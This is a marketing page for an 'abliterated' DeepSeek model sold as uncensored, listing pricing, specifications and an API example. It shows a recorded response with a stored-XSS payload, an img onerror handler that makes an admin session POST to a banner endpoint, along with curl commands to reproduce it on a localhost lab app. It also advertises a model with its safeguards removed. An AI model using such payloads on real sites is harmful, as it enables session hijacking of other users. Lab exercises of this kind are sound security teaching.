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DeepSeek V4.1 Flash Abliterated Fast

deepseek-v4.1-flash-abliterated-fast

Available in browser Chat and through the OpenAI-compatible API.

Token pricing

Prices in USD per 1 million tokens

Input / 1M
$1.000
Cached / 1M
$0.320
Output / 1M
$1.000

Model specifications

DeepSeek · abliterated

Context window
1,000,000 tokens
Maximum output
65,536 tokens
Capabilities
Text · Streaming

Measured performance

Avg. tokens/sec
—
TTFT estimate
4.4 s
Uptime proxy
100%

Updated 10/28/26, 8:48:19 PM UTC · 10 checks · A dash means there is not enough current measurement data.

TTFT is estimated from upstream average one-token latency. Uptime proxy is recent check success, not time-based uptime.

Average tokens/sec includes waiting: total output divided by total request time over 7 days, rounded down. Requires 5 successful responses of 64+ tokens. Simulated responses are excluded.

Source: UncensoredAI status · Upstream checks older than 30 minutes are unavailable. These are observations, not guarantees.

See the model respond

A real response to a stored XSS question for a localhost-only lab. The original prompt and response are shown in English. Output is displayed as text; no example code runs on this page.

DeepSeek V4.1 Flash Abliterated Fast

Recorded model response · Oct 28, 2026, 7:02 PM UTC

You

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

DeepSeek V4.1 Flash Abliterated Fast

Selected excerpt from the recorded response. Some parts are omitted.

Reproduce:
node server.js
curl -s -X POST http://localhost:3000/comment \
  --data-urlencode "comment=<img src=x onerror=\"fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED%20IN%20THE%20LAB'})\">"
xdg-open 'http://localhost:3000/admin/view?admin=1'   # macOS: open ...
sleep 1
curl -s http://localhost:3000/banner
Expected: OWNED IN THE LAB. The stored <img onerror=...> survives the naive <script> filter. /admin/view?admin=1 sets the fake admin=1 cookie, renders the comment, and the same-origin fetch POSTs to /admin/banner with that cookie. Safe fix: always render comments with esc(c); e.g. visit /admin/view?admin=1&safe=1, and the payload appears as text.
A recorded example, not a live chat.Open Chat

Use this model through the API

Create an API key and add prepaid credits. Set UNCENSOREDLABS_API_KEY in your environment. Install the openai package for the JavaScript or Python example.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "deepseek-v4.1-flash-abliterated-fast",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'
OpenAI-compatible. Change your base URL.Read the quickstart

Limitations and billing

  • Unfiltered does not guarantee an answer to every prompt. Responses can be incorrect, incomplete, or refused by the model.
  • The published maximum output is the UncensoredLabs service limit. Long generations and full-context workloads have not been benchmarked.
  • Requests reserve credit for the full context window and requested maximum output, then settle against verified usage. An uncertain request may retain its hold for review.
  • Requests have a ten-minute deadline. Rate limits, concurrency limits, and provider availability apply; API errors include 429 responses with Retry-After.
  • UncensoredLabs does not store prompts or responses on its servers. The inference provider’s retention policy applies.